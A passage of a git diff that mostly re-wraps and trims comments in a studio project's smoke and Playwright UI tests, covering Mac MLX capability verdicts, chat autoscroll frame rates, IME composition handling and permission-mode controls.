(8) Cancellationdef test_client_disconnect_during_probe_does_not_crash_server():"""A client disconnect mid-probe must not crash the server; /health still responds."""with FakeLlamaServer(tok_delay = 0.5, detok_delay = 0.5) as shim:diff --git a/tests/studio/mac_capability_verdict_smoke.py b/tests/studio/mac_capability_verdict_smoke.pyindex 9735f23e5b5..f05eae73559 100644--- a/tests/studio/mac_capability_verdict_smoke.py+++ b/tests/studio/mac_capability_verdict_smoke.py@@ -80,22 +80,21 @@ AUTH_DIR = Path(os.environ.get("STUDIO_AUTH_DIR", str(Path.home() / ".unsloth" / "studio" / "auth")))-# Fast enough that a verdict published for a moment cannot slip between two reads, slow-# enough that minutes of polling stay a rounding error next to the warm. While detection-# is unsettled /api/health spends up to its own 1s budget per call anyway, so the real-# rate over the interesting window is set by the server, not by this.+# Fast enough that a verdict published for a moment cannot slip between two reads, slow enough that minutes of polling+# stay a rounding error next to the warm. While detection is unsettled /api/health spends up to its own 1s budget per+# call anyway, so the real rate over the interesting window is set by the server, not by this.POLL_INTERVAL_S = float(os.environ.get("STUDIO_MAC_VERDICT_POLL_S", "0.25"))-# How long a verdict is watched after it settles. A verdict that settles and then goes-# back to provisional is the same bug wearing a different hat.+# How long a verdict is watched after it settles. A verdict that settles and then goes back to provisional is the same+# bug wearing a different hat.STABLE_HOLD_S = float(os.environ.get("STUDIO_MAC_VERDICT_STABLE_S", "15"))# Detection is stage one of the warm, so this covers a cold `import torch` and no more.SETTLE_BUDGET_S = float(os.environ.get("STUDIO_MAC_VERDICT_SETTLE_S", "300"))-# The self-heal is scheduled after join_background_warm(), i.e. behind transformers,-# datasets and unsloth_zoo as well. Minutes on a cold runner, hence the separate budget.+# The self-heal is scheduled after join_background_warm(), i.e. behind transformers, datasets and unsloth_zoo as well.+# Minutes on a cold runner, hence the separate budget.REPAIR_START_BUDGET_S = float(os.environ.get("STUDIO_MAC_VERDICT_REPAIR_START_S", "600"))-# How long the stub installer runs. Must clear main._MLX_PRESTART_GRACE_AFTER_WARM_S with-# room to spare: samples taken after that grace would have expired are the only ones that-# prove the LIVE WORKER is holding the verdict rather than the pre-start window.+# How long the stub installer runs. Must clear main._MLX_PRESTART_GRACE_AFTER_WARM_S with room to spare: samples taken+# after that grace would have expired are the only ones that prove the LIVE WORKER is holding the verdict rather than+# the pre-start window.UV_SLEEP_S = float(os.environ.get("STUDIO_MAC_VERDICT_UV_SLEEP_S", "75"))# Where "the grace has certainly expired" starts, measured from the installer's first# breath. Comfortably past the 30s grace so a slow scheduler cannot blur the two.@@ -141,8 +140,8 @@ def _get(except urllib.error.HTTPError as exc:return exc.code, Noneexcept Exception:- # Connection refused before the socket binds, and read timeouts while a- # C-extension import holds the GIL. Neither is a reply, so neither is a sample.+ # Connection refused before the socket binds, and read timeouts while a C-extension import holds the GIL.+ # Neither is a reply, so neither is a sample.return None, None@@ -232,8 +231,7 @@ class HealthPoller(threading.Thread):self.samples: list[Sample] = []self.token: str | None = Noneself.first_reply_at: float | None = None- # Filled in once the boot script reports it, so the waits below can tell "still- # starting" from "already dead".+ # Filled in once the boot script reports it, so the waits below can tell "still starting" from "already dead".self.server_pid: int | None = Noneself._lock = threading.Lock()self._stop = threading.Event()@@ -356,11 +354,10 @@ class TokenGetter(threading.Thread):if not token:self.error = "bootstrap login never returned a token"return- # The seeded password is must-change, and its token only opens- # /api/auth/change-password: everything else, /api/health's authed half included,- # sees no subject and silently answers with the unauthenticated body. Read- # chat_only_reason off that and it is always None, which looks exactly like a- # training-capable Mac. So rotate first, the same way studio_api_smoke.py does.+ # The seeded password is must-change, and its token only opens /api/auth/change-password: everything else,+ # /api/health's authed half included, sees no subject and silently answers with the unauthenticated body.+ # Read chat_only_reason off that and it is always None, which looks exactly like a training-capable Mac.+ # So rotate first, the same way studio_api_smoke.py does.rotated = f"{password}-Rotated1!"status, _ = _post(f"{self.base}/api/auth/change-password",@@ -500,9 +497,8 @@ def boot(port: int, log: Path, env: dict) -> int | None:)sys.stdout.write(result.stdout)sys.stderr.write(result.stderr)- # Flushed here, not left to the next print: everything else in this file flushes as- # it goes, so an unflushed boot banner surfaces minutes later next to the timeout it- # preceded, and reads like the boot itself took that long.+ # Flushed here, not left to the next print: everything else in this file flushes as it goes, so an unflushed boot+ # banner surfaces minutes later next to the timeout it preceded, and reads like the boot itself took that long.sys.stdout.flush()sys.stderr.flush()match = re.search(r"pid (\d+)", result.stdout)@@ -582,11 +578,10 @@ def assert_watched_the_window(poller: HealthPoller) -> None:if provisional:ok(f"{len(provisional)} provisional replies seen before the verdict settled")return- # Not a failure. Detection is stage one of the warm and the socket binds right after- # the lifespan starts it, so on a quick host the verdict can be settled before the- # first connection succeeds. It does not make the run vacuous: the verdict this file- # guards against stands for as long as the reinstall takes, i.e. minutes, so a first- # reply carrying it would be caught by the same check that catches a later one.+ # Not a failure. Detection is stage one of the warm and the socket binds right after the lifespan starts it, so on a+ # quick host the verdict can be settled before the first connection succeeds. It does not make the run vacuous: the+ # verdict this file guards against stands for as long as the reinstall takes, i.e. minutes, so a first reply+ # carrying it would be caught by the same check that catches a later one.info(f"no provisional reply was observed; detection settled within "f"{poller.first_reply_at:.2f}s, before the socket answered"@@ -696,9 +691,9 @@ def scenario_real_mlx(port: int, log: Path) -> None:"""A healthy Apple Silicon host must never look chat-only, not even briefly."""step("scenario real-mlx: the verdict on a Mac whose MLX stack works")- # Preflight in this process, with the product's own criterion. On a host where the- # stack is genuinely broken the boot below would take the chat-only path, quietly- # test nothing this scenario claims, and set a real 15-minute reinstall going.+ # Preflight in this process, with the product's own criterion. On a host where the stack is genuinely broken the+ # boot below would take the chat-only path, quietly test nothing this scenario claims, and set a real 15-minute+ # reinstall going.sys.path.insert(0, str(REPO / "studio" / "backend"))from utils.mlx_repair import mlx_stack_available # noqa: PLC0415@@ -720,9 +715,9 @@ def scenario_real_mlx(port: int, log: Path) -> None:info(f"verdict settled at t+{settled.t:.2f}s")assert_watched_the_window(poller)- # The reported bug in the exact shape it reached users: a settled chat-only answer- # on a Mac that can train, greying Train and Video until the self-heal takes it- # back. Checked over every reply, because it was only ever true for a while.+ # The reported bug in the exact shape it reached users: a settled chat-only answer on a Mac that can train,+ # greying Train and Video until the self-heal takes it back. Checked over every reply, because it was only ever+ # true for a while.assert_never_published(poller,lambda s: s.chat_only is True,@@ -733,9 +728,8 @@ def scenario_real_mlx(port: int, log: Path) -> None:if authed is not None and assert_settled_verdict(authed, False, None, "training-capable"):ok("the settled verdict is chat_only=false with device_type mac")- # device_type names the platform; which backend detection actually selected lives- # on /api/system, and "mlx" there is the only proof it took the MLX branch rather- # than falling through to CPU with training switched off.+ # device_type names the platform; which backend detection actually selected lives on /api/system, and "mlx"+ # there is the only proof it took the MLX branch rather than falling through to CPU with training switched off.if poller.token:status, body = _get(f"http://127.0.0.1:{port}/api/system", poller.token, timeout = 60)if status != 200 or not isinstance(body, dict):@@ -764,8 +758,8 @@ def scenario_no_mlx_settles(port: int, log: Path, work: Path) -> None:env["UNSLOTH_DISABLE_MLX_AUTOREPAIR"] = "1"with booted(port, log, env) as (poller, getter):- # The window under test opens once detection settles, not at the first byte, so- # gating on the repo's health wait here costs nothing and buys its log tail.+ # The window under test opens once detection settles, not at the first byte, so gating on the repo's health+ # wait here costs nothing and buys its log tail.if not wait_for_health(port, log):fail("the server never became healthy")return@@ -831,8 +825,8 @@ def scenario_no_mlx_repair(port: int, log: Path, work: Path) -> None:"in-flight hold; check that the post-warm scheduler ran")return- # Anchor the installer's clock to the poller's, so the two timelines can be- # compared. Both come from this host; only the origin differs.+ # Anchor the installer's clock to the poller's, so the two timelines can be compared. Both come from this host;+ # only the origin differs.uv_started = record["started"] - (time.time() - time.monotonic()) - poller.t0argv = " ".join(record.get("argv", []))info(f"installer invoked at t+{uv_started:.2f}s: uv {argv[:300]}")@@ -868,10 +862,9 @@ def scenario_no_mlx_repair(port: int, log: Path, work: Path) -> None:else:ok(f"{len(in_flight)} replies during the install, none published")- # The pre-start window would have expired 30s after the warm ended, and the- # warm ends before the scheduler runs. A reply this late that is still held- # back can only be held by the live worker, which is the half of the hold no- # clock bounds.+ # The pre-start window would have expired 30s after the warm ended, and the warm ends before the scheduler+ # runs. A reply this late that is still held back can only be held by the live worker, which is the half of+ # the hold no clock bounds.proof = [s for s in in_flight if s.t >= uv_started + WORKER_PROOF_MARGIN_S]if not proof:fail(diff --git a/tests/studio/playwright_chat_autoscroll.py b/tests/studio/playwright_chat_autoscroll.pyindex 273ce99b2ec..5eea1809112 100644--- a/tests/studio/playwright_chat_autoscroll.py+++ b/tests/studio/playwright_chat_autoscroll.py@@ -52,8 +52,7 @@ from _playwright_robust import ( # noqa: E402)PORT = int(os.environ.get("SMOKE_PORT", "5193"))-# Unset: start and stop our own server. Set: drive that one and leave it running.-# Exported-but-empty counts as unset, else we skip the server and drive "" as the URL.+# Unset: start and stop our own server._EXTERNAL = os.environ.get("SMOKE_BASE_URL", "").strip()BASE = _EXTERNAL or f"http://127.0.0.1:{PORT}"OWNS_SERVER = not _EXTERNAL@@ -61,15 +60,15 @@ LABEL = os.environ.get("SMOKE_LABEL", "tree")OUT = Path(os.environ.get("PW_ART_DIR", "logs/playwright-chat-autoscroll"))OUT.mkdir(parents = True, exist_ok = True)-# A token every 250ms for 8s: the deep research synthesis cadence, and the one the loop is-# wasteful at. A faster cadence (SMOKE_TOKEN_GAP_MS=40) is the one case where a frame per token is-# justified, so measuring only there hides the effect.+# A token every 250ms for 8s: the deep research synthesis cadence, and the one the loop is wasteful at.+# A faster cadence (SMOKE_TOKEN_GAP_MS=40) is the one case where a frame per token is justified, so measuring only there+# hides the effect.TOKEN_COUNT = int(os.environ.get("SMOKE_TOKEN_COUNT", "32"))TOKEN_GAP_MS = int(os.environ.get("SMOKE_TOKEN_GAP_MS", "250"))-# One frame per token at this cadence is 4/s; the old loop ran at the pump's ceiling, around 62/s.-# 25/s leaves room for React's own frames and still fails loudly on a return to the ceiling.+# One frame per token at this cadence is 4/s; the old loop ran at the pump's ceiling, around 62/s. 25/s leaves room for+# React's own frames and still fails loudly on a return to the ceiling.MAX_STREAM_RAF_PER_SECOND = float(os.environ.get("SMOKE_MAX_RAF_PER_S", "25"))-# The follow window in the hook. Silent growth is measured against it.+# The follow window in the hook.FOLLOW_SETTLE_MS = 600# What the settle check trades away: unobservable growth is followed on a timer, not the next# frame. Generous against 115ms measured, tight enough to catch a regression.@@ -151,7 +150,7 @@ def run() -> dict:page.wait_for_timeout(800)results["seeded"] = page.evaluate("window.__autoscroll.metrics()")- # 1. Streaming. Clock and counter start and stop together inside the page, so they+ # Streaming. Clock and counter start and stop together inside the page, so they# bracket one interval; split across round trips they do not, and the rate drifts.before = metrics(cdp)streamed = page.evaluate(@@ -190,13 +189,12 @@ def run() -> dict:"is_at_bottom": page.evaluate("window.__autoscroll.isAtBottom()"),}- # 2. Idle: the loop must stop.page.evaluate("window.__rafCount = 0")page.wait_for_timeout(2000)results["idle_raf_per_2s"] = page.evaluate("window.__rafCount")- # 3. Silent growth. A token first to open a fresh follow window, then growth as an inline- # style, which reaches neither observer.+ # Silent growth. A token first to open a fresh follow window, then growth as an inline style, which+ # reaches neither observer.page.evaluate("window.__autoscroll.resetGrowth()")page.wait_for_timeout(900)settled = page.evaluate(@@ -226,7 +224,6 @@ def run() -> dict:)results["silent_growth"] = settled- # 4. Intent. Scrolling up must detach and survive further streaming.page.evaluate("window.__autoscroll.resetGrowth()")page.evaluate("window.__autoscroll.scrollToBottom()")page.wait_for_timeout(900)@@ -292,8 +289,8 @@ def main() -> int:failures.append("the viewport did not stay pinned through the stream")if not results["stream"]["is_at_bottom"]:failures.append("isAtBottom went false while following")- # Recording the count without asserting on it was false-green: the unconditional loop ran 503- # callbacks over this stream and the script still exited 0.+ # Recording the count without asserting on it was false-green: the unconditional loop ran 503 callbacks over this+ # stream and the script still exited 0.if raf_rate > MAX_STREAM_RAF_PER_SECOND:failures.append(f"the follow loop ran at {raf_rate:.1f} rAF/s during the stream, over the "@@ -306,9 +303,8 @@ def main() -> int:intent = results["intent"]if not intent["detached"]:failures.append("scrolling up did not detach")- # Without this the check above is vacuous: if the tokens streamed while detached add no- # height, "streaming re-pinned a detached reader" passes on a tree where following is broken- # in either direction. Recorded and unread was false-green; assert it.+ # Without this the check above is vacuous: if the tokens streamed while detached add no height, "streaming+ # re-pinned a detached reader" passes on a tree where following is broken in either direction.if not intent["grewWhileDetached"]:failures.append("the content did not grow while detached; the re-pin check proved nothing")if not intent["stillDetached"]:@@ -318,8 +314,7 @@ def main() -> int:repinned_after_ms = results["silent_growth"]["repinnedAfterMs"]if repinned_after_ms is None:failures.append("silent growth was never followed inside the window")- # The settle timer is 100ms plus the frame it schedules, measured at 115ms. Bounding it is the- # point: "eventually" would stay green if the re-check slowed to half a second.+ # The settle timer is 100ms plus the frame it schedules, measured at 115ms.elif repinned_after_ms > SILENT_GROWTH_REPIN_BUDGET_MS:failures.append(f"silent growth took {repinned_after_ms:.0f}ms to follow, over the "diff --git a/tests/studio/playwright_chat_ime_i18n.py b/tests/studio/playwright_chat_ime_i18n.pyindex 1e562035cdd..1ab13a8c023 100644--- a/tests/studio/playwright_chat_ime_i18n.py+++ b/tests/studio/playwright_chat_ime_i18n.py@@ -120,15 +120,12 @@ with sync_playwright() as p:console_errors: list[str] = []expected_probe_cancel_500s = [0]- # A send answers "does this thread / message row exist yet" with a GET that- # 404s until the row lands (#8136 replaced a full listing with that read),- # and the browser logs every 404 as a console.error with no URL in its text.- # Those two reads are expected traffic on a healthy send. The URL alone does- # not identify them: a persistence PUT or PATCH to the very same path 404s on- # exactly these patterns, and silently exempting that would hide a real- # failure to save. So the exemption is resolved against the response ledger- # below -- a console 404 is forgiven only if an actual GET 404 was observed- # at that URL, and each observed GET is spent by at most one console error.+ # A send answers "does this thread / message row exist yet" with a GET that 404s until the row lands (#8136 replaced+ # a full listing with that read), and the browser logs every 404 as a console.error with no URL in its text.+ # The URL alone does not identify them: a persistence PUT or PATCH to the very same path 404s on exactly these+ # patterns, and silently exempting that would hide a real failure to save. So the exemption is resolved against+ # the response ledger below: a console 404 is forgiven only if an actual GET 404 was observed at that URL, and+ # each observed GET is spent by at most one console error.EXPECTED_404_URL_RES = (re.compile(r"/api/chat/threads/[^/?#]+$"),re.compile(r"/api/chat/threads/[^/?#]+/messages/[^/?#]+$"),@@ -202,7 +199,7 @@ with sync_playwright() as p:except Exception as _shoot_err:info(f"WARN: screenshot {name} failed: {_shoot_err}")- # 1. Bootstrap auth via /change-password; retry absorbs React form-detach races.+ # Bootstrap auth via /change-password; retry absorbs React form-detach races.step("change-password through UI (Setup your account)")form_err: Exception | None = Nonefor _form_attempt in range(3):@@ -250,7 +247,7 @@ with sync_playwright() as p:if form_err is not None:raise form_err- # 2. Wait for composer mount (no GGUF; the bug is React state, not inference).+ # Wait for composer mount (no GGUF; the bug is React state, not inference).step("wait for composer to mount")try:page.wait_for_load_state("networkidle", timeout = 30_000)@@ -368,7 +365,6 @@ with sync_playwright() as p:"Send button is unavailable for the next IME regression case.")- # 3. Baseline: ASCII keyboard typing works.step("baseline ASCII keyboard typing")clear()composer.click()@@ -381,7 +377,7 @@ with sync_playwright() as p:shoot("03-baseline-ascii")clear()- # 4. Multilingual paste round-trip; byte-for-byte readback required.+ # Multilingual paste round-trip; byte-for-byte readback required.step(f"multilingual paste round-trip ({len(I18N_SAMPLES)} samples)")paste_failures: list[tuple[str, str, str, str]] = []for code, label, text in I18N_SAMPLES:@@ -405,7 +401,6 @@ with sync_playwright() as p:info(f"all {len(I18N_SAMPLES)} multilingual paste samples OK")shoot("04-paste-all-ok")- # 5. Healthy IME composition (compositionstart/update/end + insert events).step("normal IME composition (compose 你好)")clear()composer.click()@@ -589,9 +584,9 @@ with sync_playwright() as p:info("keydown re-pin gate PASS")clear()- # 6d. Keydown re-pin must also re-arm the watchdog: on the WSL+Chrome- # stuck-compositionend path no follow-up event arrives, so after re-pin- # the watchdog must clear composingRef again or Send re-locks forever.+ # Keydown re-pin must also re-arm the watchdog: on the WSL+Chrome+ # stuck-compositionend path no follow-up event arrives, so after re-pin the+ # watchdog must clear composingRef again or Send re-locks forever.step("BUG REPRO: keydown re-pin re-arms watchdog (#5546 follow-up regression)")clear()composer.click()@@ -616,8 +611,8 @@ with sync_playwright() as p:expect(send_btn_rearm).not_to_be_disabled(timeout = 8_000)except Exception:soft_fail("watchdog did not clear before re-arm test (first cycle)")- # IME-confirm keydown re-pins composingRef; without the re-arm fix the- # watchdog never runs again and Send stays blocked forever.+ # IME-confirm keydown re-pins composingRef; without the re-arm fix the watchdog never runs again and Send stays+ # blocked forever.composer.evaluate("""(el) => {el.focus();@@ -627,19 +622,16 @@ with sync_playwright() as p:}));}""")- # Second watchdog cycle: requestSubmit() after the re-armed window must be- # allowed; the buggy build stays gated forever.+ # Second watchdog cycle: requestSubmit() after the re-armed window must be allowed; the buggy build stays gated+ # forever.#- # The flush has to be read off the composer that is on screen when the- # submit settles, not off the node captured before it. A send in a new chat- # swaps the empty-thread view for the thread view, so React unmounts the- # textarea this step composed into and mounts a fresh one. Since #8136- # rendered the send without waiting on persistence, that swap lands inside- # the 250ms settle window, and the detached node keeps '你好' forever --- # which reads as "Send never unlocked" on a build that sent the message- # correctly. `sent` is the corroboration that the flush came from a real- # send and not from the composer being replaced: a blocked submit leaves- # the text in the live composer and adds no user message.+ # The flush has to be read off the composer that is on screen when the submit settles, not off the node captured+ # before it. A send in a new chat swaps the empty-thread view for the thread view, so React unmounts the textarea+ # this step composed into and mounts a fresh one. Since #8136 rendered the send without waiting on persistence,+ # that swap lands inside the 250ms settle window, and the detached node keeps '你好' forever -- which reads as+ # "Send never unlocked" on a build that sent the message correctly. `sent` is the corroboration that the flush+ # came from a real send and not from the composer being replaced: a blocked submit leaves the text in the live+ # composer and adds no user message.rearm_probe = page.evaluate("""async (selector) => {const ta = document.querySelector(selector);@@ -703,8 +695,8 @@ with sync_playwright() as p:step("BUG REPRO: Mac IME switch - onKeyDown immediate recovery")clear()composer.click()- # Seed sendable content so Send's state reflects composition only, not- # empty-content gating (insertFromPaste leaves composingRef false).+ # Seed sendable content so Send's state reflects composition only, not empty-content gating (insertFromPaste leaves+ # composingRef false).set_value_via_setter("hello")# Switch TO Chinese: compositionstart fires but compositionend never arrives.composer.evaluate(@@ -716,8 +708,8 @@ with sync_playwright() as p:# Let React process compositionstart and update isComposing.page.wait_for_timeout(200)send_btn_mac_kd = page.locator('button[aria-label="Send message"]')- # Dispatch ONLY a keydown (no input event) so onChange never fires and the- # onKeyDown else-if branch is the only path that can clear composingRef.+ # Dispatch ONLY a keydown (no input event) so onChange never fires and the onKeyDown else-if branch is the only path+ # that can clear composingRef.# page.keyboard.type() would fire onChange too and mask a regression.composer.evaluate("""(el) => {@@ -804,9 +796,6 @@ with sync_playwright() as p:clear()# 6g. Mac input-method switch - onBlur immediate recovery.- # Some Mac IME switches steal textarea focus; onBlur resets composingRef- # unconditionally. Safe because the OS commits/cancels composition before- # surrendering focus, so blur is a reliable reset point.step("BUG REPRO: Mac IME switch - onBlur immediate recovery")clear()composer.click()@@ -847,7 +836,7 @@ with sync_playwright() as p:info("Mac IME switch onBlur recovery PASS")clear()- # 7. Final state: filter benign 401 noise via is_benign_*; fail on real errors.+ # Final state: filter benign 401 noise via is_benign_*; fail on real errors.shoot("07-final")_resolve_deferred_404s()real_page_errors = [e for e in page_errors if not is_benign_page_error(e)]diff --git a/tests/studio/playwright_chat_ui.py b/tests/studio/playwright_chat_ui.pyindex 7469e283582..e1ab0bf8456 100644--- a/tests/studio/playwright_chat_ui.py+++ b/tests/studio/playwright_chat_ui.py@@ -15,8 +15,8 @@ import urllib.errorfrom pathlib import Pathfrom playwright.sync_api import expect, sync_playwright-# Tests run as plain `python tests/studio/playwright_chat_ui.py` (not-# via pytest/import), so prepend this dir to sys.path before importing.+# Tests run as plain `python tests/studio/playwright_chat_ui.py` (not via pytest/import), so prepend this dir to+# sys.path before importing.sys.path.insert(0, str(Path(__file__).resolve().parent))from _playwright_robust import ( # noqa: E402chromium_launch_args,@@ -42,12 +42,12 @@ ART_DIR = os.environ.get("PW_ART_DIR", "logs/playwright")ART = Path(ART_DIR)ART.mkdir(parents = True, exist_ok = True)-# When on (default in CI), fail loudly on any missing button/nav/dialog-# instead of logging a WARN; off locally to run against a partial install.+# When on (default in CI), fail loudly on any missing button/nav/dialog instead of logging a WARN; off locally to run+# against a partial install.STRICT = os.environ.get("STUDIO_UI_STRICT", "0") == "1"-# Per-turn assistant-bubble wait. The free macos-14 runner is ~3-5x-# slower at gemma-3-270m CPU inference; this lets it bump the timeout.+# Per-turn assistant-bubble wait. The free macos-14 runner is ~3-5x slower at gemma-3-270m CPU inference; this lets it+# bump the timeout.TURN_TIMEOUT_MS = int(os.environ.get("STUDIO_UI_TURN_TIMEOUT_MS", "180000"))# How long the rapid-submit step holds the first turn's response. Only needs to# outlast the 100 ms follow-up wait; kept well clear of it so a loaded runner@@ -57,17 +57,14 @@ RAPID_FIRST_TURN_HOLD_S = 3.0# Wall-clock cap for the whole script (healthy run is 5-9 min).WALL_TIMEOUT_S = float(os.environ.get("STUDIO_UI_WALL_TIMEOUT_S", "720"))-# Run only bootstrap plus permission controls for fast cross-browser checks.PERMISSION_ONLY = os.environ.get("STUDIO_UI_PERMISSION_ONLY", "0") == "1"-# Default stays Chromium for CI. Local runs can select firefox/webkit or a-# Chromium channel such as chrome/msedge.+# Default stays Chromium for CI. Local runs can select firefox/webkit or a Chromium channel such as chrome/msedge.PLAYWRIGHT_BROWSER = os.environ.get("STUDIO_PLAYWRIGHT_BROWSER", "chromium").lower()PLAYWRIGHT_CHANNEL = os.environ.get("STUDIO_PLAYWRIGHT_CHANNEL") or None-# Render like the 4 vCPU boxes users and Kaggle sessions actually run on. The-# rapid-submit step passes unthrottled here and fails at 4x and 8x, which is how-# the parked-send bug was finally reproduced off Kaggle. Off unless set, and+# Render like the 4 vCPU boxes users and Kaggle sessions actually run on. The rapid-submit step passes unthrottled+# here and fails at 4x and 8x, which is how the parked-send bug was finally reproduced off Kaggle. Off unless set, and# Chromium only, since it is delivered over CDP.CPU_THROTTLE = float(os.environ.get("STUDIO_UI_CPU_THROTTLE", "0") or 0)@@ -211,13 +208,11 @@ def exercise_permission_mode_controls(page, shoot):legacy_value,)- # The level is an installation setting, mirrored through /api/chat/settings,- # so "fresh profile" is no longer "fresh browser": the cross-browser step- # runs this block three times against ONE install, and runs two and three- # would otherwise open on the level run one left behind. Refuse the- # hydrating GET, with no local level either, which is the state a first-ever- # browser on a never-configured install is in. Everything up to the end of- # the migration loop reads the level, so the whole stretch is held there.+ # The level is an installation setting, mirrored through /api/chat/settings, so "fresh profile" is no longer "fresh+ # browser": the cross-browser step runs this block three times against ONE install, and runs two and three would+ # otherwise open on the level run one left behind. Refuse the hydrating GET, with no local level either, which is+ # the state a first-ever browser on a never-configured install is in. Everything up to the end of the migration loop+ # reads the level, so the whole stretch is held there.def refuse_settings_hydration(route):if route.request.method == "GET":route.fulfill(@@ -248,30 +243,19 @@ def exercise_permission_mode_controls(page, shoot):pass # best-effort -- proceed even if network never idlesexpect(pill).to_be_visible(timeout = 30_000)- # choose() only drives THIS tab. The mirror to /api/chat/settings is a 400ms- # trailing-edge debounce (SETTINGS_DEBOUNCE_MS, chat-runtime-store.ts) whose- # only early flush is the beforeunload keepalive, so the pill turning over- # proves the click landed locally, not that the installation stored it.+ # choose() only drives THIS tab.+ # The mirror to /api/chat/settings is a 400ms trailing-edge debounce (SETTINGS_DEBOUNCE_MS, chat-runtime-store.ts)+ # whose only early flush is the beforeunload keepalive, so the pill turning over proves the click landed locally,+ # not that the installation stored it.+ # Measured on webkit, timed from the choose() below: choose returns at t+238ms, set_legacy_confirm at t+248ms, and+ # the reload starts there.+ # The debounce would not have fired until ~t+630ms, so the only PUT that goes out at all is the beforeunload+ # keepalive at t+252ms, and the reloaded page's hydrating GET arrives at t+697ms.+ # The assertion after the reload was therefore never testing the level this step chose. It was betting that an+ # unload-time keepalive beats a hydrating GET by 445ms of loopback, on every engine, every run.#- # Measured on webkit, timed from the choose() below: choose returns at- # t+238ms, set_legacy_confirm at t+248ms, and the reload starts there. The- # debounce would not have fired until ~t+630ms, so the only PUT that goes out- # at all is the beforeunload keepalive at t+252ms, and the reloaded page's- # hydrating GET arrives at t+697ms. The assertion after the reload was- # therefore never testing the level this step chose. It was betting that an- # unload-time keepalive beats a hydrating GET by 445ms of loopback, on every- # engine, every run.- #- # When that bet loses, hydration returns the level the migration loop above- # left on the install ("off"), the pill reads "Run automatically", and the- # step fails as though migration were broken. That is what took webkit red at- # 20a98fd54 while chromium and firefox passed the same assertion in the same- # job.- #- # So: wait for the level to actually be ON the installation before reloading- # and asserting on it. Assert what was achieved, not what was commanded. This- # deliberately stops depending on the unload-time flush; that flush is worth a- # test of its own, but it was never what this step meant to assert.+ # So: wait for the level to actually be ON the installation before reloading and asserting on it. Assert what was+ # achieved, not what was commanded.def expect_server_mode(expected, timeout_ms = 15_000):deadline = time.monotonic() + timeout_ms / 1000.0seen = "<never read>"@@ -320,23 +304,17 @@ def exercise_permission_mode_controls(page, shoot):page.keyboard.press("Escape")expect(pill).to_be_focused()- # The active row is a no-op and must not open the Full access dialog.choose("Approve for me")expect_mode("Approve for me")expect(page.get_by_role("alertdialog")).to_have_count(0)- # Pointer and compact-layout coverage.compact_width = 390page.set_viewport_size({"width": compact_width, "height": 844})expect(pill).to_be_visible()- # Let the reflow land before measuring. set_viewport_size returns once the- # viewport is set, not once the layout has responded to it, and- # to_be_visible does not cover the gap: the pill is already visible, at its- # old width. Reading the box straight away can catch the pre-reflow- # geometry, which is off the right edge of the narrow viewport and fails on- # a box no user ever sees. The floating monitor's own viewport checks below- # settle the same way rather than measuring immediately.+ # Let the reflow land before measuring.+ # set_viewport_size returns once the viewport is set, not once the layout has responded to it, and to_be_visible+ # does not cover the gap: the pill is already visible, at its old width.def fits_compact(box) -> bool:return box is not None and box["x"] >= 0 and box["x"] + box["width"] <= compact_width@@ -349,10 +327,9 @@ def exercise_permission_mode_controls(page, shoot):fail(f"permission pill is clipped in compact layout: {box!r}")page.set_viewport_size({"width": 1280, "height": 900})- # Legacy setting migration: true -> ask, false -> off, absent -> auto. Still- # under the refused hydration above: a stored level wins over the local- # derivation, so without it the second reload would assert against the level- # the first one seeded and read as a migration bug.+ # Legacy setting migration: true -> ask, false -> off, absent -> auto. Still under the refused hydration above: a+ # stored level wins over the local derivation, so without it the second reload would assert against the level the+ # first one seeded and read as a migration bug.migration_cases = (("true", "Ask for approval"),("false", "Run automatically"),@@ -366,9 +343,8 @@ def exercise_permission_mode_controls(page, shoot):finally:page.unroute("**/api/chat/settings", refuse_settings_hydration)- # The other half of that contract: with a level stored for the install, a- # browser holding only the legacy key gets the installation's level back- # rather than its own derivation.+ # The other half of that contract: with a level stored for the install, a browser holding only the legacy key gets+ # the installation's level back rather than its own derivation.choose("Ask for approval")expect_mode("Ask for approval")expect_server_mode("ask")@@ -512,16 +488,11 @@ def exercise_floating_monitor_geometry(page):and box["y"] + box["height"] <= surface["height"] - inset + tolerance)- # Every assertion below compares heights sampled seconds apart against this- # baseline, so the panel must already be showing its final row set. Until the- # first /api/system response is applied the panel paints use-system.ts's- # zero-filled DEFAULT_SYSTEM, which has no GPU: on a host that reports one- # (macos-14 reports a single MLX device) the VRAM row then appears and adds- # ~59px permanently. The caller only waited for the /api/system *request*, so- # sampling here can capture the pre-payload height -- a height the panel never- # returns to, which "content shrink" would then wait out its whole deadline- # chasing. Wait for the payload itself, and for the panel to have finished- # resizing to it.+ # Every assertion below compares heights sampled seconds apart against this baseline, so the panel must already be+ # showing its final row set.+ # Until the first /api/system response is applied the panel paints use-system.ts's zero-filled DEFAULT_SYSTEM, which+ # has no GPU: on a host that reports one (macos-14 reports a single MLX device) the VRAM row then appears and adds+ # ~59px permanently.try:page.wait_for_function(r"""() => {@@ -587,7 +558,6 @@ def exercise_floating_monitor_geometry(page):)# Delayed GPU rows must expand upward and retain the initial bottom anchor.- # The probe goes in the content region, where a real row is rendered.monitor.get_by_test_id("floating-monitor-content").evaluate("""node => {const probe = document.createElement("div");@@ -614,8 +584,7 @@ def exercise_floating_monitor_geometry(page):),)- # Chromium retains a blocked inline resize request. A subsequent drag must- # not reveal that hidden size.+ # Chromium retains a blocked inline resize request. A subsequent drag must not reveal that hidden size._, blocked_box = resize_monitor_to(viewport["width"] - 2,viewport["height"] - 2,@@ -706,9 +675,8 @@ with sync_playwright() as p:label = "ui",info = info,)- # Pre-flight: macos-14 can surface a 200 /api/health while the auth- # DB is still migrating; this 30s probe catches that gap before we- # sink 60s into a change-password timeout. Diagnostic only.+ # Pre-flight: macos-14 can surface a 200 /api/health while the auth DB is still migrating;+ # this 30s probe catches that gap before we sink 60s into a change-password timeout.wait_for_health(BASE, timeout = 30.0, info = info)if PLAYWRIGHT_BROWSER not in ("chromium", "firefox", "webkit"):fail(f"unsupported STUDIO_PLAYWRIGHT_BROWSER={PLAYWRIGHT_BROWSER!r}")@@ -721,22 +689,20 @@ with sync_playwright() as p:elif PLAYWRIGHT_CHANNEL:fail("STUDIO_PLAYWRIGHT_CHANNEL requires chromium")if CPU_THROTTLE > 1 and PLAYWRIGHT_BROWSER != "chromium":- # Refused here rather than at the call: `new_cdp_session` is Chromium- # only, so firefox/webkit would abort mid-run with a Playwright error- # about CDP that says nothing about the option that caused it. Both are- # supported browsers, so this pairing is reachable from the documented- # environment alone.+ # Refused here rather than at the call: `new_cdp_session` is Chromium only, so firefox/webkit would abort+ # mid-run with a Playwright error about CDP that says nothing about the option that caused it. Both are+ # supported browsers, so this pairing is 